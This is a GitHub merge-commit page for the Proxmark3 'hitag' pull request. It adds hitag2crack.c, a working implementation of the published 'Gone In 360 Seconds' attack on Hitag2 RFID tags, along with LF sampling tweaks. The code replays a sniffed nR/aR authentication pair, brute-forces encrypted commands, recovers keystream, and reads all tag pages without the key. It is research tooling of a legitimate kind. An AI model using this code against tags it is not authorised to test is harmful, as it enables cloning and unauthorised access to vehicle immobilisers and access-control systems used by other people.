Merge pull request #531 from RfidResearchGroup/hitag

Hitag
This commit is contained in:
Iceman 2020-01-22 13:06:18 +01:00 committed by GitHub
commit 8835f6678c
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23
65 changed files with 22472 additions and 721 deletions

View file

@ -23,7 +23,7 @@ APP_CFLAGS = $(PLATFORM_DEFS) \
-DON_DEVICE \ -DON_DEVICE \
-fno-strict-aliasing -ffunction-sections -fdata-sections -fno-strict-aliasing -ffunction-sections -fdata-sections
SRC_LF = lfops.c lfsampling.c pcf7931.c lfdemod.c SRC_LF = lfops.c lfsampling.c pcf7931.c lfdemod.c lfadc.c
SRC_ISO15693 = iso15693.c iso15693tools.c SRC_ISO15693 = iso15693.c iso15693tools.c
SRC_ISO14443a = iso14443a.c mifareutil.c mifarecmd.c epa.c mifaresim.c SRC_ISO14443a = iso14443a.c mifareutil.c mifarecmd.c epa.c mifaresim.c
#UNUSED: mifaresniff.c desfire_crypto.c #UNUSED: mifaresniff.c desfire_crypto.c

File diff suppressed because it is too large Load diff

923
armsrc/hitag2crack.c Normal file
View file

@ -0,0 +1,923 @@
//-----------------------------------------------------------------------------
// Kevin Sheldrake <kev@headhacking.com>, Aug 2018
//
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.
//
// iceman, Jan, 2020
// doegox, Jan, 2020
//-----------------------------------------------------------------------------
// hitag2 attack functions
//-----------------------------------------------------------------------------
#include "hitagcrypto.h"
#include "hitag2crack.h"
#define READP0CMD "1100000111"
#define ERROR_RESPONSE "F402889C"
extern const uint8_t Hitag2Sync[5];
extern bool CryptoActive;
extern Hitag_State Hitag_Crypto_State;
// hitag2_crack implements the first crack algorithm described in the paper,
// Gone In 360 Seconds by Verdult, Garcia and Balasch.
// response is a multi-line text response containing the 8 pages of the
// cracked tag;
// nrarhex is a string containing hex representations of the 32 bit nR and aR
// values (separated by a space) snooped using SNIFF-PWM.
bool hitag2_crack(uint8_t *response, uint8_t *nrarhex) {
uint8_t uidhex[9];
uint8_t uid[32];
uint8_t nrar[64];
uint8_t e_firstcmd[10];
uint8_t e_page0cmd[10];
uint8_t keybits[42];
uint8_t pagehex[9];
uint8_t temp[20];
int i;
uint8_t *spaceptr = NULL;
// get uid as hexstring
if(!hitag2_get_uid(uidhex))
{
UserMessage("Cannot get UID\r\n");
return false;
}
// convert uid hexstring to binarray
hextobinarray(uid, uidhex);
// convert nR and aR hexstrings to binarray
spaceptr = strchr(nrarhex, ' ');
if (!spaceptr)
{
UserMessage("Please supply a valid nR aR pair\r\n");
return false;
}
*spaceptr = 0x00;
if (hextobinarray(nrar, nrarhex) != 32)
{
UserMessage("nR is not 32 bits long\r\n");
return false;
}
if (hextobinarray(nrar + 32, spaceptr + 1) != 32)
{
UserMessage("aR is not 32 bits long\r\n");
return false;
}
// find a valid encrypted command
if (!hitag2crack_find_valid_e_cmd(e_firstcmd, nrar))
{
UserMessage("Cannot find a valid encrypted command\r\n");
return false;
}
// find the 'read page 0' command and recover key stream
if (!hitag2crack_find_e_page0_cmd(keybits, e_firstcmd, nrar, uid))
{
UserMessage("Cannot find encrypted 'read page0' command\r\n");
return false;
}
// empty the response string
response[0] = 0x00;
// read all pages using key stream
for (i=0; i<8; i++)
{
if (hitag2crack_read_page(pagehex, i, nrar, keybits))
{
sprintf(temp, "%1d: %s\r\n", i, pagehex);
}
else
{
sprintf(temp, "%1d:\r\n", i);
}
// add page string to response
strcat(response, temp);
}
return true;
}
// hitag2crack_find_valid_e_cmd repeatedly replays the auth protocol each
// with a different sequential encrypted command value in order to find one
// that returns a valid response.
// e_cmd is the returned binarray of the valid encrypted command;
// nrar is the binarray of the 64 bit nR aR pair.
bool hitag2crack_find_valid_e_cmd(uint8_t e_cmd[], uint8_t nrar[]) {
uint8_t guess[10];
uint8_t responsestr[9];
// UserMessage("Finding valid encrypted command:");
// we're going to hold bits 5, 7, 8 and 9 and brute force the rest
// e.g. x x x x x 0 x 0 0 0
for (uint8_t a=0; a<2; a++) {
for (uint8_t b=0; b<2; b++) {
for (uint8_t c=0; c<2; c++) {
for (uint8_t d=0; d<2; d++) {
for (uint8_t e=0; e<2; e++) {
for (uint8_t g=0; g<2; g++) {
// build binarray
guess[0] = a;
guess[1] = b;
guess[2] = c;
guess[3] = d;
guess[4] = e;
guess[5] = 0;
guess[6] = g;
guess[7] = 0;
guess[8] = 0;
guess[9] = 0;
// send guess
if (hitag2crack_send_e_cmd(responsestr, nrar, guess, 10)) {
// check if it was valid
if (strcmp(responsestr, ERROR_RESPONSE) != 0) {
// return the guess as the encrypted command
memcpy(e_cmd, guess, 10);
return true;
}
} else {
#ifdef RFIDLER_DEBUG
UserMessage("hitag2crack_find_valid_e_cmd:\r\n hitag2crack_send_e_cmd failed\r\n");
#endif
}
UserMessage(".");
}
}
}
}
}
}
// UserMessage("hitag2crack_find_valid_e_cmd:\r\n no valid encrypted command found\r\n");
return false;
}
// hitag2crack_find_e_page0_cmd tries all bit-flipped combinations of the
// valid encrypted command and tests the results by attempting an extended
// command version of the command to see if that produces a valid response.
// keybits is the returned binarray of the recovered key stream;
// e_page0cmd is the returned binarray of the encrypted 'read page 0' command;
// e_firstcmd is the binarray of the first valid encrypted command found;
// nrar is the binarray of the 64 bit nR aR pair;
// uid is the binarray of the 32 bit UID.
bool hitag2crack_find_e_page0_cmd(uint8_t keybits[], uint8_t e_firstcmd[], uint8_t nrar[], uint8_t uid[]) {
uint8_t a, b, c, d;
uint8_t guess[10];
uint8_t responsestr[9];
uint8_t e_uid[32];
UserMessage("Finding 'read page 0' command:");
// we're going to brute the missing 4 bits of the valid encrypted command
for (a=0; a<2; a++)
{
for (b=0; b<2; b++)
{
for (c=0; c<2; c++)
{
for (d=0; d<2; d++)
{
// create our guess by bit flipping the pattern of bits
// representing the inverted bit and the 3 page bits
// in both the non-inverted and inverted parts of the
// encrypted command.
memcpy(guess, e_firstcmd, 10);
if (a)
{
guess[5] = !guess[5];
guess[0] = !guess[0];
}
if (b)
{
guess[7] = !guess[7];
guess[2] = !guess[2];
}
if (c)
{
guess[8] = !guess[8];
guess[3] = !guess[3];
}
if (d)
{
guess[9] = !guess[9];
guess[4] = !guess[4];
}
// try the guess
if (hitag2crack_send_e_cmd(responsestr, nrar, guess, 10))
{
// check if it was valid
if (strcmp(responsestr, ERROR_RESPONSE) != 0)
{
// convert response to binarray
hextobinarray(e_uid, responsestr);
// test if the guess was 'read page 0' command
if (hitag2crack_test_e_p0cmd(keybits, nrar, guess, uid, e_uid))
{
return true;
}
}
else
{
#ifdef RFIDLER_DEBUG
UserMessage("hitag2crack_find_e_page0_cmd:\r\n hitag2crack_send_e_cmd returned ERROR_RESPONSE\r\n");
#endif
}
}
else
{
#ifdef RFIDLER_DEBUG
UserMessage("hitag2crack_find_e_page0_cmd:\r\n hitag2crack_send_e_cmd failed\r\n");
#endif
}
UserMessage(".");
}
}
}
}
UserMessage("hitag2crack_find_e_page0_cmd:\r\n could not find encrypted 'read page 0' command\r\n");
return false;
}
// hitag2crack_test_e_p0cmd XORs the message (command + response) with the
// encrypted version to retrieve the key stream. It then uses this key stream
// to encrypt an extended version of the READP0CMD and tests if the response
// is valid.
// keybits is the returned binarray of the key stream;
// nrar is the 64 bit binarray of nR aR pair;
// e_cmd is the binarray of the encrypted command;
// uid is the binarray of the card UID;
// e_uid is the binarray of the encrypted version of the UID.
bool hitag2crack_test_e_p0cmd(uint8_t *keybits, uint8_t *nrar, uint8_t *e_cmd, uint8_t *uid, uint8_t *e_uid) {
uint8_t cipherbits[42];
uint8_t plainbits[42];
uint8_t ext_cmd[40];
uint8_t e_ext_cmd[40];
uint8_t responsestr[9];
int i;
// copy encrypted cmd to cipherbits
memcpy(cipherbits, e_cmd, 10);
// copy encrypted uid to cipherbits
memcpy(cipherbits + 10, e_uid, 32);
// copy cmd to plainbits
binstringtobinarray(plainbits, READP0CMD);
// copy uid to plainbits
memcpy(plainbits + 10, uid, 32);
// xor the plainbits with the cipherbits to get keybits
hitag2crack_xor(keybits, plainbits, cipherbits, 42);
// create extended cmd -> 4 * READP0CMD = 40 bits
for (i=0; i<4; i++)
{
binstringtobinarray(ext_cmd + (i * 10), READP0CMD);
}
// xor extended cmd with keybits
hitag2crack_xor(e_ext_cmd, ext_cmd, keybits, 40);
// send extended encrypted cmd
if (hitag2crack_send_e_cmd(responsestr, nrar, e_ext_cmd, 40))
{
// test if it was valid
if (strcmp(responsestr, ERROR_RESPONSE) != 0)
{
return true;
}
}
else
{
#ifdef RFIDLER_DEBUG
UserMessage("hitag2crack_test_e_p0cmd:\r\n hitag2crack_send_e_cmd failed\r\n");
#endif
}
return false;
}
// hitag2crack_xor XORs the source with the pad to produce the target.
// source, target and pad are binarrays of length len.
void hitag2crack_xor(uint8_t *target, uint8_t *source, uint8_t *pad, unsigned int len) {
for (int i=0; i<len; i++) {
target[i] = source[i] ^ pad[i];
}
}
// hitag2crack_read_page uses the supplied key stream and nrar pair to read the
// given page, returning the response as a hexstring.
// responsestr is the returned hexstring;
// pagenum is the page number to read;
// nrar is the 64 bit binarray of the nR aR pair;
// keybits is the binarray of the key stream.
bool hitag2crack_read_page(uint8_t *responsestr, uint8_t pagenum, uint8_t *nrar, uint8_t *keybits) {
uint8_t cmd[10];
uint8_t e_cmd[10];
uint8_t e_responsestr[9];
uint8_t e_response[32];
uint8_t response[32];
int i;
if ((pagenum < 0) || (pagenum > 7))
{
UserMessage("hitag2crack_read_page:\r\n invalid pagenum\r\n");
return false;
}
// create cmd
binstringtobinarray(cmd, READP0CMD);
if (pagenum & 0x1)
{
cmd[9] = !cmd[9];
cmd[4] = !cmd[4];
}
if (pagenum & 0x2)
{
cmd[8] = !cmd[8];
cmd[3] = !cmd[3];
}
if (pagenum & 0x4)
{
cmd[7] = !cmd[7];
cmd[2] = !cmd[2];
}
// encrypt command
hitag2crack_xor(e_cmd, cmd, keybits, 10);
// send encrypted command
if (hitag2crack_send_e_cmd(e_responsestr, nrar, e_cmd, 10))
{
// check if it is valid
if (strcmp(e_responsestr, ERROR_RESPONSE) != 0)
{
// convert to binarray
hextobinarray(e_response, e_responsestr);
// decrypt response
hitag2crack_xor(response, e_response, keybits + 10, 32);
// convert to hexstring
binarraytohex(responsestr, response, 32);
return true;
}
else
{
UserMessage("hitag2crack_read_page:\r\n hitag2crack_send_e_cmd returned ERROR_RESPONSE\r\n");
}
}
else
{
UserMessage("hitag2crack_read_page:\r\n hitag2crack_send_e_cmd failed\r\n");
}
return false;
}
// hitag2crack_send_e_cmd replays the auth and sends the given encrypted
// command.
// responsestr is the hexstring of the response to the command;
// nrar is the 64 bit binarray of the nR aR pair;
// cmd is the binarray of the encrypted command to send;
// len is the length of the encrypted command.
bool hitag2crack_send_e_cmd(uint8_t *responsestr, uint8_t *nrar, uint8_t *cmd, int len) {
uint8_t tmp[37];
uint8_t uid[9];
uint8_t e_page3str[9];
int ret = 0;
// get the UID
if(!hitag2_get_uid(uid))
{
UserMessage("hitag2crack_send_e_cmd:\r\n cannot get UID\r\n");
return false;
}
// START_AUTH kills active crypto session
CryptoActive = false;
// get the UID again
if(!hitag2_get_uid(uid))
{
UserMessage("hitag2crack_send_e_cmd:\r\n cannot get UID (2nd time)\r\n");
return false;
}
// send nrar and receive (useless) encrypted page 3 value
if (!hitag2crack_tx_rx(e_page3str, nrar, 64, RWD_STATE_WAKING, false))
{
UserMessage("hitag2crack_send_e_cmd:\r\n tx/rx nrar failed\r\n");
return false;
}
// send encrypted command
if (!hitag2crack_tx_rx(responsestr, cmd, len, RWD_STATE_WAKING, false))
{
#ifdef RFIDLER_DEBUG
UserMessage("hitag2crack_send_e_cmd:\r\n tx/rx cmd failed\r\n");
#endif
return false;
}
return true;
}
// hitag2crack_tx_rx transmits a message and receives a response.
// responsestr is the hexstring of the response;
// msg is the binarray of the message to send;
// state is the RWD state;
// reset indicates whether to reset RWD state after.
bool hitag2crack_tx_rx(uint8_t *responsestr, uint8_t *msg, int len, int state, bool reset) {
uint8_t tmp[37];
int ret = 0;
// START_AUTH kills active crypto session
CryptoActive= false;
if(!rwd_send(msg, len, reset, BLOCK, state, RFIDlerConfig.FrameClock, 0, RFIDlerConfig.RWD_Wait_Switch_RX_TX, RFIDlerConfig.RWD_Zero_Period, RFIDlerConfig.RWD_One_Period, RFIDlerConfig.RWD_Gap_Period, RFIDlerConfig.RWD_Wait_Switch_TX_RX))
{
UserMessage("hitag2crack_tx_rx: rwd_send failed\r\n");
return false;
}
// skip 1/2 bit to synchronise manchester
HW_Skip_Bits = 1;
ret = read_ask_data(RFIDlerConfig.FrameClock, RFIDlerConfig.DataRate, tmp, 37, RFIDlerConfig.Sync, RFIDlerConfig.SyncBits, RFIDlerConfig.Timeout, ONESHOT_READ, BINARY);
// check if response was a valid length (5 sync bits + 32 bits response)
if (ret == 37)
{
// check sync bits
if (memcmp(tmp, Hitag2Sync, 5) != 0)
{
UserMessage("hitag2crack_tx_rx: no sync\r\n");
return false;
}
// convert response to hexstring
binarraytohex(responsestr, tmp + 5, 32);
return true;
}
else
{
#ifdef RFIDLER_DEBUG
UserMessage("hitag2crack_tx_rx: wrong rx len\r\n");
#endif
return false;
}
return false;
}
bool hitag2crack_rng_init(uint8_t *response, uint8_t *input) {
uint64_t sharedkey;
uint32_t serialnum;
uint32_t initvector;
uint8_t *spaceptr;
uint8_t *dataptr;
// extract vals from input
dataptr = input;
spaceptr = strchr(dataptr, ' ');
if (!spaceptr)
{
UserMessage("/r/nformat is 'sharedkey UID nR' in hex\r\n");
return false;
}
*spaceptr = 0x00;
if (strlen(dataptr) != 12)
{
UserMessage("/r/nsharedkey should be 48 bits long (12 hexchars)\r\n");
return false;
}
sharedkey = rev64(hexreversetoulonglong(dataptr));
dataptr = spaceptr+1;
spaceptr = strchr(dataptr, ' ');
if (!spaceptr)
{
UserMessage("/r/nno UID\r\n");
return false;
}
*spaceptr = 0x00;
if (strlen(dataptr) != 8)
{
UserMessage("/r/nUID should be 32 bits long (8 hexchars)\r\n");
return false;
}
serialnum = rev32(hexreversetoulong(dataptr));
dataptr = spaceptr+1;
if (strlen(dataptr) != 8)
{
UserMessage("/r/nnR should be 32 bits long (8 hexchars)\r\n");
return false;
}
initvector = rev32(hexreversetoulong(dataptr));
// start up crypto engine
hitag2_init(&Hitag_Crypto_State, sharedkey, serialnum, initvector);
strcpy(response, "Success\r\n");
return true;
}
bool hitag2crack_decrypt_hex(uint8_t *response, uint8_t *hex) {
uint8_t bin[32];
uint8_t binhex[9];
uint8_t binstr[33];
uint32_t binulong;
if (strlen(hex) != 8)
{
UserMessage("/r/nhex must be 32bits (8 hex chars)\r\n");
return false;
}
binulong = hextoulong(hex);
ulongtobinarray(bin, hitag2_crypt(binulong, 32), 32);
binarraytobinstring(binstr, bin, 32);
binarraytohex(binhex, bin, 32);
// UserMessage("ar = %s\r\n", binstr);
// UserMessage("arhex = %s\r\n", binhex);
strcpy(response, binhex);
return true;
}
bool hitag2crack_decrypt_bin(uint8_t *response, uint8_t *e_binstr) {
uint8_t bin[32];
uint8_t e_bin[32];
uint8_t binstr[33];
uint32_t binulong;
int len;
len = strlen(e_binstr);
if (len > 32)
{
UserMessage("\r\nbinary string must be <= 32 bits\r\n");
return false;
}
binstringtobinarray(e_bin, e_binstr);
binulong = binarraytoulong(e_bin, len);
ulongtobinarray(bin, hitag2_crypt(binulong, len), len);
binarraytobinstring(binstr, bin, len);
strcpy(response, binstr);
return true;
}
bool hitag2crack_encrypt_hex(uint8_t *response, uint8_t *hex) {
// XOR pad so encrypt == decrypt :)
return hitag2crack_decrypt_hex(response, hex);
}
bool hitag2crack_encrypt_bin(uint8_t *response, uint8_t *e_binstr) {
return hitag2crack_decrypt_bin(response, e_binstr);
}
// hitag2_keystream uses the first crack algorithm described in the paper,
// Gone In 360 Seconds by Verdult, Garcia and Balasch, to retrieve 2048 bits
// of keystream.
// response is a multi-line text response containing the hex of the keystream;
// nrarhex is a string containing hex representations of the 32 bit nR and aR
// values (separated by a space) snooped using SNIFF-PWM.
bool hitag2_keystream(uint8_t *response, uint8_t *nrarhex) {
uint8_t uidhex[9];
uint8_t uid[32];
uint8_t nrar[64];
uint8_t e_firstcmd[10];
uint8_t e_page0cmd[10];
// uint8_t keybits[2080];
uint8_t *keybits = DataBuff;
uint8_t keybitshex[67];
int kslen;
int ksoffset;
uint8_t pagehex[9];
uint8_t temp[20];
int i;
uint8_t *spaceptr = NULL;
/*
keybits = malloc(2080);
if (!keybits) {
UserMessage("cannot malloc keybits\r\n");
return false;
}
*/
// get uid as hexstring
if(!hitag2_get_uid(uidhex))
{
UserMessage("Cannot get UID\r\n");
return false;
}
// convert uid hexstring to binarray
hextobinarray(uid, uidhex);
// convert nR and aR hexstrings to binarray
spaceptr = strchr(nrarhex, ' ');
if (!spaceptr)
{
UserMessage("Please supply a valid nR aR pair\r\n");
return false;
}
*spaceptr = 0x00;
if (hextobinarray(nrar, nrarhex) != 32)
{
UserMessage("nR is not 32 bits long\r\n");
return false;
}
if (hextobinarray(nrar + 32, spaceptr + 1) != 32)
{
UserMessage("aR is not 32 bits long\r\n");
return false;
}
// find a valid encrypted command
if (!hitag2crack_find_valid_e_cmd(e_firstcmd, nrar))
{
UserMessage("Cannot find a valid encrypted command\r\n");
return false;
}
// find the 'read page 0' command and recover key stream
if (!hitag2crack_find_e_page0_cmd(keybits, e_firstcmd, nrar, uid))
{
UserMessage("Cannot find encrypted 'read page0' command\r\n");
return false;
}
// using the 40 bits of keystream in keybits, sending commands with ever
// increasing lengths to acquire 2048 bits of key stream.
kslen = 40;
while (kslen < 2048)
{
ksoffset = 0;
if (!hitag2crack_send_auth(nrar))
{
UserMessage("hitag2crack_send_auth failed\r\n");
return false;
}
// while we have at least 52 bits of keystream, consume it with
// extended read page 0 commands. 52 = 10 (min command len) +
// 32 (response) + 10 (min command len we'll send)
while ((kslen - ksoffset) >= 52)
{
// consume the keystream, updating ksoffset as we go
if (!hitag2crack_consume_keystream(keybits, kslen, &ksoffset, nrar))
{
UserMessage("hitag2crack_consume_keystream failed\r\n");
return false;
}
}
// send an extended command to retrieve more keystream, updating kslen
// as we go
if (!hitag2crack_extend_keystream(keybits, &kslen, ksoffset, nrar, uid))
{
UserMessage("hitag2crack_extend_keystream failed\r\n");
return false;
}
UserMessage("Recovered %d bits of keystream\r\n", kslen);
}
for (i=0; i<2048; i+=256)
{
binarraytohex(keybitshex, keybits + i, 256);
UserMessage("%s\r\n", keybitshex);
}
response[0] = 0x00;
return true;
}
// hitag2crack_send_auth replays the auth and returns.
// nrar is the 64 bit binarray of the nR aR pair;
bool hitag2crack_send_auth(uint8_t *nrar) {
uint8_t uid[9];
uint8_t e_page3str[9];
// get the UID
if(!hitag2_get_uid(uid))
{
UserMessage("hitag2crack_send_auth:\r\n cannot get UID\r\n");
return false;
}
// START_AUTH kills active crypto session
CryptoActive = false;
// get the UID again
if(!hitag2_get_uid(uid))
{
UserMessage("hitag2crack_send_auth:\r\n cannot get UID (2nd time)\r\n");
return false;
}
// send nrar and receive (useless) encrypted page 3 value
if (!hitag2crack_tx_rx(e_page3str, nrar, 64, RWD_STATE_WAKING, false))
{
UserMessage("hitag2crack_send_auth:\r\n tx/rx nrar failed\r\n");
return false;
}
return true;
}
// hitag2crack_consume_keystream sends an extended command (up to 510 bits in
// length) to consume keystream.
// keybits is the binarray of keystream bits;
// kslen is the length of keystream;
// ksoffset is a pointer to the current keystream offset (updated by this fn);
// nrar is the 64 bit binarray of the nR aR pair.
bool hitag2crack_consume_keystream(uint8_t *keybits, int kslen, int *ksoffset, uint8_t *nrar) {
int conlen;
int numcmds;
int i;
uint8_t ext_cmd[510];
uint8_t e_ext_cmd[510];
uint8_t responsestr[9];
// calculate the length of keybits to consume with the extended command.
// 42 = 32 bit response + 10 bit command reserved for next command. conlen
// cannot be longer than 510 bits to fit into the small RWD buffer.
conlen = kslen - *ksoffset - 42;
if (conlen < 10)
{
UserMessage("hitag2crack_consume_keystream:\r\n conlen < 10\r\n");
return false;
}
// sanitise conlen
if (conlen > 510)
{
conlen = 510;
}
// calculate how many repeated commands to send in this extended command.
numcmds = conlen / 10;
// build extended command
for (i=0; i<numcmds; i++)
{
binstringtobinarray(ext_cmd + (i * 10), READP0CMD);
}
// xor extended cmd with keybits
hitag2crack_xor(e_ext_cmd, ext_cmd, keybits + *ksoffset, numcmds * 10);
// send encrypted command
if (!hitag2crack_tx_rx(responsestr, e_ext_cmd, numcmds * 10, RWD_STATE_WAKING, false))
{
UserMessage("hitag2crack_consume_keystream:\r\n tx/rx cmd failed\r\n");
return false;
}
// test response
if (strcmp(responsestr, ERROR_RESPONSE) == 0)
{
UserMessage("hitag2crack_consume_keystream:\r\n got error response from card\r\n");
return false;
}
// dont bother decrypting the response - we already know the keybits
// update ksoffset with command length and response
*ksoffset += (numcmds * 10) + 32;
}
// hitag2crack_extend_keystream sends an extended command to retrieve more keybits.
// keybits is the binarray of the keystream bits;
// kslen is a pointer to the current keybits length;
// ksoffset is the offset into the keybits array;
// nrar is the 64 bit binarray of the nR aR pair;
// uid is the 32 bit binarray of the UID.
bool hitag2crack_extend_keystream(uint8_t *keybits, int *kslen, int ksoffset, uint8_t *nrar, uint8_t *uid) {
int cmdlen;
int numcmds;
uint8_t ext_cmd[510];
uint8_t e_ext_cmd[510];
uint8_t responsestr[9];
uint8_t e_response[32];
int i;
// calc number of command iterations to send
cmdlen = *kslen - ksoffset;
if (cmdlen < 10)
{
UserMessage("hitag2crack_extend_keystream:\r\n cmdlen < 10\r\n");
return false;
}
numcmds = cmdlen / 10;
// build extended command
for (i=0; i<numcmds; i++)
{
binstringtobinarray(ext_cmd + (i * 10), READP0CMD);
}
// xor extended cmd with keybits
hitag2crack_xor(e_ext_cmd, ext_cmd, keybits + ksoffset, numcmds * 10);
// send extended encrypted cmd
if (!hitag2crack_tx_rx(responsestr, e_ext_cmd, numcmds * 10, RWD_STATE_WAKING, false))
{
UserMessage("hitag2crack_extend_keystream:\r\n tx/rx cmd failed\r\n");
return false;
}
// test response
if (strcmp(responsestr, ERROR_RESPONSE) == 0)
{
UserMessage("hitag2crack_extend_keystream:\r\n got error response from card\r\n");
return false;
}
// convert response to binarray
hextobinarray(e_response, responsestr);
// recover keystream from encrypted response
hitag2crack_xor(keybits + ksoffset + (numcmds * 10), e_response, uid, 32);
// update kslen
*kslen = ksoffset + (numcmds * 10) + 32;
return true;
}
bool hitag2_reader(uint8_t *response, uint8_t *key, bool interactive) {
uint8_t tmp[9];
int i;
response[0] = '\0';
// auth to tag
if (hitag2_crypto_auth(tmp, key))
{
// read tag, one page at a time
for (i= 0; i <= 7; ++i)
{
if(!read_tag(tmp, i, i))
{
// if read fails, it could be because of auth,
// so try to reauth
if (!hitag2_crypto_auth(tmp, key))
{
// if we can't reauth, it's a real failure
return false;
}
// temp failure (probably due to page protections)
strcpy(tmp, "XXXXXXXX");
}
// page contents are in tmp
strcat(response, tmp);
}
if (interactive)
{
tmp[8]= '\0';
for(i= 0; i <= 7 ; ++i)
{
UserMessageNum("%d: ", i);
memcpy(tmp, response + (i * 8), 8);
UserMessage("%s\r\n", tmp);
}
UserMessage("%s", "\r\n");
}
else
{
hitag2_nvm_store_tag(response);
}
return true;
}
else
{
return false;
}
}

31
armsrc/hitag2crack.h Normal file
View file

@ -0,0 +1,31 @@
//-----------------------------------------------------------------------------
// Kevin Sheldrake <kev@headhacking.com>, Aug 2018
//
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.
//-----------------------------------------------------------------------------
// Definitions hitag2 attack functions
//-----------------------------------------------------------------------------
bool hitag2_crack(uint8_t *response, uint8_t *nrarhex);
bool hitag2crack_find_valid_e_cmd(uint8_t e_cmd[], uint8_t nrar[]);
bool hitag2crack_find_e_page0_cmd(uint8_t keybits[], uint8_t e_firstcmd[], uint8_t nrar[], uint8_t uid[]);
bool hitag2crack_test_e_p0cmd(uint8_t *keybits, uint8_t *nrar, uint8_t *e_cmd, uint8_t *uid, uint8_t *e_uid);
void hitag2crack_xor(uint8_t *target, uint8_t *source, uint8_t *pad, unsigned int len);
bool hitag2crack_read_page(uint8_t *responsestr, uint8_t pagenum, uint8_t *nrar, uint8_t *keybits);
bool hitag2crack_send_e_cmd(uint8_t *responsestr, uint8_t *nrar, uint8_t *cmd, int len);
bool hitag2crack_tx_rx(uint8_t *responsestr, uint8_t *msg, int len, int state, bool reset);
bool hitag2crack_rng_init(uint8_t *response, uint8_t *input);
bool hitag2crack_decrypt_hex(uint8_t *response, uint8_t *hex);
bool hitag2crack_decrypt_bin(uint8_t *response, uint8_t *hex);
bool hitag2crack_encrypt_hex(uint8_t *response, uint8_t *hex);
bool hitag2crack_encrypt_bin(uint8_t *response, uint8_t *hex);
bool hitag2_keystream(uint8_t *response, uint8_t *nrarhex);
bool hitag2crack_send_auth(uint8_t *nrar);
bool hitag2crack_consume_keystream(uint8_t *keybits, int kslen, int *ksoffset, uint8_t *nrar);
bool hitag2crack_extend_keystream(uint8_t *keybits, int *kslen, int ksoffset, uint8_t *nrar, uint8_t *uid);
bool hitag2_reader(uint8_t *response, uint8_t *key, bool interactive);

View file

@ -22,7 +22,7 @@
// as a counting signal. TIMER_CLOCK3 = MCK/32, MCK is running at 48 MHz, so the timer is running at 48/32 = 1500 kHz // as a counting signal. TIMER_CLOCK3 = MCK/32, MCK is running at 48 MHz, so the timer is running at 48/32 = 1500 kHz
// Carrier period (T0) have duration of 8 microseconds (us), which is 1/125000 per second (125 kHz frequency) // Carrier period (T0) have duration of 8 microseconds (us), which is 1/125000 per second (125 kHz frequency)
// T0 = timer/carrier = 1500kHz/125kHz = 1500000/125000 = 6 // T0 = timer/carrier = 1500kHz/125kHz = 1500000/125000 = 6
#define T0 3 //#define HITAG_T0 3
////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////
// Global variables // Global variables
@ -52,16 +52,28 @@ size_t lf_count_edge_periods_ex(size_t max, bool wait, bool detect_gap) {
volatile uint8_t adc_val; volatile uint8_t adc_val;
//uint8_t avg_peak = 140, avg_through = 96; //uint8_t avg_peak = 140, avg_through = 96;
uint8_t avg_peak = 130, avg_through = 106; uint8_t avg_peak = 130, avg_through = 106;
int16_t checked = 0;
while (true) {
// only every 1000th times, in order to save time when collecting samples.
if (checked == 1000) {
if (BUTTON_PRESS() || data_available()) {
checked = -1;
break;
} else {
checked = 0;
}
}
++checked;
while (!BUTTON_PRESS()) {
// Watchdog hit
WDT_HIT(); WDT_HIT();
if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) { if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) {
adc_val = AT91C_BASE_SSC->SSC_RHR; adc_val = AT91C_BASE_SSC->SSC_RHR;
periods++; periods++;
if (logging) logSample(adc_val, 1, 8, 0); if (logging) logSampleSimple(adc_val);
// Only test field changes if state of adc values matter // Only test field changes if state of adc values matter
if (!wait) { if (!wait) {
@ -91,7 +103,7 @@ size_t lf_count_edge_periods_ex(size_t max, bool wait, bool detect_gap) {
if (periods == max) return 0; if (periods == max) return 0;
} }
} }
if (logging) logSample(255, 1, 8, 0); if (logging) logSampleSimple(0xFF);
return 0; return 0;
} }
@ -143,7 +155,11 @@ void lf_init(bool reader) {
FpgaSetupSsc(); FpgaSetupSsc();
// When in reader mode, give the field a bit of time to settle. // When in reader mode, give the field a bit of time to settle.
if (reader) SpinDelay(50); // 313T0 = 313 * 8us = 2504us = 2.5ms Hitag2 tags needs to be fully powered.
if (reader) {
// 50 ms
SpinDelay(50);
}
// Steal this pin from the SSP (SPI communication channel with fpga) and use it to control the modulation // Steal this pin from the SSP (SPI communication channel with fpga) and use it to control the modulation
AT91C_BASE_PIOA->PIO_PER = GPIO_SSC_DOUT; AT91C_BASE_PIOA->PIO_PER = GPIO_SSC_DOUT;
@ -168,7 +184,9 @@ void lf_init(bool reader) {
AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG;
// Prepare data trace // Prepare data trace
if (logging) initSampleBuffer(NULL); uint32_t bufsize = 20000;
if (logging) initSampleBuffer(&bufsize);
} }
@ -204,14 +222,13 @@ size_t lf_detect_field_drop(size_t max) {
} }
++checked; ++checked;
// Watchdog hit
WDT_HIT(); WDT_HIT();
if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) { if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) {
periods++; periods++;
adc_val = AT91C_BASE_SSC->SSC_RHR; adc_val = AT91C_BASE_SSC->SSC_RHR;
if (logging) logSample(adc_val, 1, 8, 0); if (logging) logSampleSimple(adc_val);
if (adc_val == 0) { if (adc_val == 0) {
rising_edge = false; rising_edge = false;

View file

@ -93,6 +93,7 @@ sample_config *getSamplingConfig() {
void pushBit(BitstreamOut *stream, uint8_t bit) { void pushBit(BitstreamOut *stream, uint8_t bit) {
int bytepos = stream->position >> 3; // divide by 8 int bytepos = stream->position >> 3; // divide by 8
int bitpos = stream->position & 7; int bitpos = stream->position & 7;
*(stream->buffer + bytepos) &= ~(1 << (7 - bitpos));
*(stream->buffer + bytepos) |= (bit > 0) << (7 - bitpos); *(stream->buffer + bytepos) |= (bit > 0) << (7 - bitpos);
stream->position++; stream->position++;
stream->numbits++; stream->numbits++;
@ -106,17 +107,25 @@ sampling_t samples = {0, 0, 0, 0};
void initSampleBuffer(uint32_t *sample_size) { void initSampleBuffer(uint32_t *sample_size) {
BigBuf_free();
